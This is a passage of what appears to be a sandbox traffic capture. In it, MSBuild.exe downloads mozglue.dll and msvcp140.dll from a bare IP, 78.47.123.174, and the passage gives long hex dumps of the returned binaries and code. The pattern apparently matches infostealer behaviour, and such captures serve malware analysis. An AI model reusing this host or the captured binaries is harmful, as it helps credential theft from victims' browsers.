2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:20 UTC	173	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:21 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:21 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-24 08:27:21 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-24 08:27:21 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:22 UTC	174	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:23 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:22 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-05-24 08:27:23 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 